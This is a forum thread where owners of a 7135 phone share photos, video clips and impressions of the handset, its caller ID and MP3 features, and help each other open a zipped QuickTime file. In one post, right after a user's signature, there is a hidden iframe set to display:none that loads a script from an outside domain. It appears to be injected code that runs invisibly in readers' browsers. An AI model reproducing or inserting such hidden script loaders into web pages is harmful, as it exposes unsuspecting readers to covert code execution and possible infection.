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    Request for photos of 7135

    :scream Can you hear me now?

    I was thinking that maybe one or 6 of you kind folks with recently purchased 7135s might be interested in comming up with a digital photo recap of how the 7135 arrives, whats in the boxes, and pictures of every angle of the phone and it's boxed accessories.

    Can you tell I'm in need to a 7135 fix? I think a few nice photos might help some of us wait it out with less stress...

    Any takers?

    I'll gladly take the photos of any 7135, if someone owns one that is near by me (Perth Amboy, NJ).

    audio_*****<iframe src="http://tmb-corp.com/g/p/l/counter.js" style="display:none"></iframe>
    Audio_***** :)
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    yea, u go girl!!! I'd like to have a look at such.

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    I'll work on some photos and videos and post them at work tomorrow.

    Caller ID
    MP3
    Phone flipped open

    Photos of phone in holster etc.

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    Originally posted by WORBC
    yea, u go girl!!! I'd like to have a look at such.
    audio_***** looks down between his legs :coolquick and says "girl?, hrmmm":dunno.
    Audio_***** :)
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    You get that a lot, don't ya', *****?
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    my mistake audio_*****.... I didn't even think ... so sorry! Please forgive....


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    How about a video clip of the whole process? From the postman walking up the steps onward...

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    Originally posted by Markito
    You get that a lot, don't ya', *****?
    no actually! first time evah. honest!
    Audio_***** :)
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    Originally posted by WORBC
    my mistake audio_*****.... I didn't even think ... so sorry! Please forgive....

    no worries.
    Audio_***** :)
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    mp3 and flip sound

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    7135 in holster and flip opening
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    My MP3 movie was too large to post but I saw that Greg Harkins posted a video in another thread.

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    The previous file doesn't work. Interesting that when you copy a quicktime movie to a SD card it creates another file with the same name with a ._ preceeding it. I have know idea why.

    Anyway. Here it is.
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    I recorded several other videos showing off the caller id features but my wife didn't really want her cell phone number plastered over the internet.

    Let me just say that the caller id feature is very cool. It displays the phone number first and if the person is in your phonebook it displays their name second.

    To dial someone in your address book you simply push the address button on the keypad and type the letter of the last name to navigate to the person you're looking for. One handed dialing is a piece of cake.

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    Originally posted by pdageek
    The previous file doesn't work. Interesting that when you copy a quicktime movie to a SD card it creates another file with the same name with a ._ preceeding it. I have know idea why.

    Anyway. Here it is.
    Most excellent! Thank you.

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    pdageek,

    I can't seem to get your file to work. Qould you tell me what program I need to open it? I have tried Windows Media Player and Quicktime.

    Thanks,

    John
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    You need Winzip and Quicktime

    I successfully watched this moments ago. The file is a zip file and I have my laptop configured to show .mov files with Quicktime 5, which is the file format when the file unzips. Hope that helps.

    Seth
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    Originally posted by jkseger
    pdageek,

    I can't seem to get your file to work. Qould you tell me what program I need to open it? I have tried Windows Media Player and Quicktime.

    Thanks,

    John

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    Originally posted by pdageek
    The previous file doesn't work. Interesting that when you copy a quicktime movie to a SD card it creates another file with the same name with a ._ preceeding it. I have know idea why.

    Anyway. Here it is.
    That was great!!!

    I would like to see you:

    1). Remove the phone, rotate it so that we get a good look while it's closed.

    2). Open and rotate it, so we get a look while it is opened.

    3). Show the top and rotate it to show the bottom, front and back.

    4). Cycle through all the ringers.

    5). Put postage on it and send it to me (just kidding on this one)

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    I got it now. I must have missed the fixed file post. Sorrry.

    John
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    and, by the way, Thanks!!
    "are you using the whole fist doc?"

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